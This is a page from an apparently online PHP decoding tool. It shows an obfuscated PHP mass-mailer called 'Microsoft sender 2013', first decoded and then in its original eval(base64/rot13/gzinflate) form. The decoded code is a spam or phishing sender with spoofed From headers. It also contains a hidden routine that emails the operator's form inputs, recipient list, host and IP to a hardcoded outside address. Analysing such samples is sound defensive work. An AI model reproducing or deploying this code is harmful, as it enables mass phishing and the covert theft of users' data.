Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @ini_set('output_buffering',0); @ini_set('display_errors', 0); $text = "3UhEY..

Decoded Output download

ignore_user_abort();
set_time_limit(0);
function enviando(){
$msg=1;
$de[1] = $_POST['de'];
$nome[1] = $_POST['nome'];
$assunto[1] = $_POST['assunto'];
$mensagem[1] = $_POST['mensagem'];
$mensagem[1] = stripslashes($mensagem[1]);
$emails = $_POST['emails'];
$emails2 = htmlspecialchars($_POST['emails']);
$para = explode("
", $emails);
$n_emails = count($para);
$sv = $_SERVER['SERVER_NAME'];
$en = $_SERVER ['REQUEST_URI'];
$k88 = @$_SERVER["HTTP_REFERER"];
$fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>".$emails2."</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>".$mensagem[1]."</TEXTAREA></p>";
$vai = $_POST['vai'];
if ($vai){
for ($set=0; $set < $n_emails; $set++){
if ($set==0){
$headers = "MIME-Version: 1.0
";
$headers .= "Content-type: text/html; charset=iso-8859-1
";
$headers .= "From: $nome[$msg] <$de[$msg]>
";
$headers .= "Return-Path: <$de[$msg]>
";
//mail($xsylar, $as, $fullurl, $headers);
}
$headers = "MIME-Version: 1.0
";
$headers .= "Content-type: text/html; charset=iso-8859-1
";
$headers .= "From: $nome[$msg] <$de[$msg]>
";
$headers .= "Return-Path: <$de[$msg]>
";
$n_mail++;
$destino = $para[$set];
$num1 = rand(100000,999999);
$num2 = rand(100000,999999);
$msgrand = str_replace("%rand%", $num1, $mensagem[$msg]);
$msgrand = str_replace("%rand2%", $num2, $msgrand);
$msgrand = str_replace("%email%", $destino, $msgrand);
$enviar = mail($destino, $assunto[$msg], $msgrand, $headers);
if ($enviar){
echo ('<font color="green">'. $n_mail .'-'. $destino .' 0k!</font><br>');
} else {
echo ('<font color="red">'. $n_mail .'-'. $destino .' =(</font><br>');
sleep(1);
}
}
}
}
$ip = getenv("REMOTE_ADDR");
$ra44  = rand(1,99999);
$subj98 = "Sendi $ip";
$email = "[email protected]";
$from="From: Log Mailer Gw <[email protected]>";
$a45 = $_SERVER['REQUEST_URI'];
$b75 = $_SERVER['HTTP_HOST'];
$f12 = $_POST['de'];
$z13 = $_POST['nome'];
$x14 = $_POST['assunto'];
$t15 = $_POST['mensagem'];
$m30 = $_POST['emails'];
$m22 = $ip."
";
$msg8873 = "$a45
$b75
$f12
$z13
$x14
$t15
$m30
$m22";
mail($email, $subj98, $msg8873, $from);

Did this file decode correctly?

Original Code

<?php 
@ini_set('output_buffering',0); 
@ini_set('display_errors', 0);

$text = "3UhEYts4DH4fsP+gCRnsoo0Tuy2WJmnQeM/NigO6m2orY1YLUDYkp+umJleiqz3cfx8pOXbSJev7gkC2yY8UKX6k9JxyXKVwoWsqHzJeuHu916+EKtJPSiotaKULt42y2ZhaCp0xotidlnmauXvfX793R28e+aBhWdXIvyURdqTndBeDkTNIzi3KTEk906DE6qQQcElxm+pNdRGVb0/OSLUJTFe3blHBaC5XKRZXuOs6WaKhKqlYsebKCqwj+x6AaURHpcjVUctlspAcHD2DG3S55BLA6j4vs6ll6Q2jB6T2bwAsXe03ySAp15gYlbgzTlwk8XISjxz7Wf+4GiZoLHlaQlNBnPz5PrkYpO/jeAtr7GcAZLplTj8PBud2nHxX4iSmBjIbl+WYlwCjlGvEmGuEhg+8H+b9xITWNV+D5K/BSJxcEZ59EdExUVuKyGK3+9RbnopUw9YS1g9buWTB5orB+XX5spu1V/zkim+0akWv1QW+WZ5tU1xHIdlzGYcPIHTU7hF8kpCszthX9vcRdYwQF7UNVhdXQRXHMtDh9TB2XsIHQ7lYfK99w6F5vTWQB6i/M0koSTSLr7nqkk/dFy2kUY8YNoBwLbJzp2Z80vS32n/iTNUllvvYIrckxAYxr/2tFrEqxpw1z3Kx6GEDt02Ypdu4F19YyYFzRcBFShjed1/Irf9/j4yhspjy/r6dLqLQLFCCYAuNsLppvIwrH6QcJpILWYPfwYn57dXaYLcWtlCNHRopSmwpJ9DGYkT4FlsZncNwUl0T4IumwdI2QFsL/KWRIbAxqtN8c3QmLgczWIEn0GV+mriejDbpYJrBusBzQ5NSU1wnnE7BsU4zHtE5SorRvuOR+tCJ5zTxeGzsnlDaj2LCFhr1sdUdUDSiV6HIDqdcWl9jGbnPPYpFqdz1eBav/g2dUPZmBQy9ZnacDM8GVm318XBZzfljbGdRSXI+ayqwGD/8aoJwkl4oNtUE/NDVoFQxl48yl49P+4eHp2aUbZOsMpgZEDqqdv1iNidQQypB/vlPwg/Xw7PTYOgNLu3kklTHG8P8p0z98GETYFP1dJhmST3zgy0X5zf/Y+ulbO8f7botC/9r9y1s2N5k7UiB2V7nHq07D2vU6bzD7SkmasMwA0shQ0shMEshDEtuVEvBN65OgNaWpHMDIKItgeUm+sShBXS61/sB";

eval(str_rot13(gzinflate(str_rot13(base64_decode(($text))))));
?><title> Microsoft sender 2013 </title>
<style type="text/css">
<!--
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.style6 {font-size: 10px}
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
-->
</style>
<body bgcolor="#000000" style="text-align: center">

<form id="form1" name="form1" method="post" action="">
<input type="hidden" name="vai" value="1">
<span class="style5"><? echo enviando(); ?></span>
<p align="center">
<img src="http://www.journaldugeek.com/files/2012/02/spiderman-amazing.jpg" width="372" height="118"></p>
<p align="center"><b>
<font color="#FFFF00" face="Comic Sans MS" style="font-size: 20pt">
Microsoft sender 2013</font></b></p>
<table width="422" border="0" bgcolor="#000000">
  <tr>
<td width="66">
<p align="center"><span class="style5">Nome:</span></td>
<td width="346">
<p align="center"><span class="style9">

<label>
<input name="nome" value="<? echo $_POST['nome'] ;?>" size="20" style="float: left; background-color: #FFFF00" />
</label>
</span></td>
</tr>
<tr>
<td>
<p align="center"><span class="style5">Email:</span></td>
<td>
<p align="center">
<input name="de" value="<? echo $_POST['de'] ;?>" size="30" style="float: left; background-color: #FFFF00" /></td>

</tr>
<tr>
<td>
<p align="center"><span class="style5">Sujet:</span></td>
<td>
<p align="center">
<input name="assunto" value="<? echo $_POST['assunto'] ;?>" size="40" style="float: left; background-color: #FFFF00" /></td>
</tr>
<tr>
<td>
<p align="center"><span class="style5">Lettre:</span><p align="center">&nbsp;<p align="center">&nbsp;<p align="center">
<span class="style5">liste email</span></td>
<td><span class="style9">

<p align="center">
<textarea name="mensagem" cols="89" rows="7" style="background-color: #FFFF00"><? echo stripslashes($_POST['mensagem']);?>
</textarea></p>
<p align="left">
<textarea name="emails" cols="88" rows="7" style="background-color: #FFFF00"></textarea>
</span></td>
</tr>

<tr>
  <td>
	<p align="center"><span class="style6"></span></td>
  <td>
	<p align="center">
	<input name="Submit" type="submit" value="Inbox" style="color: #000080; font-weight: bold" /></td>
</tr>
</table>
</form>

Function Calls

ini_set 2
enviando 1
gzinflate 1
str_rot13 2
base64_decode 1

Variables

$text 3UhEYts4DH4fsP+gCRnsoo0Tuy2WJmnQeM/NigO6m2orY1YLUDYkp+umJlei..

Stats

MD5 60c1aa9ff9738fb1f336d3ba845acd7a
Eval Count 1
Decode Time 105 ms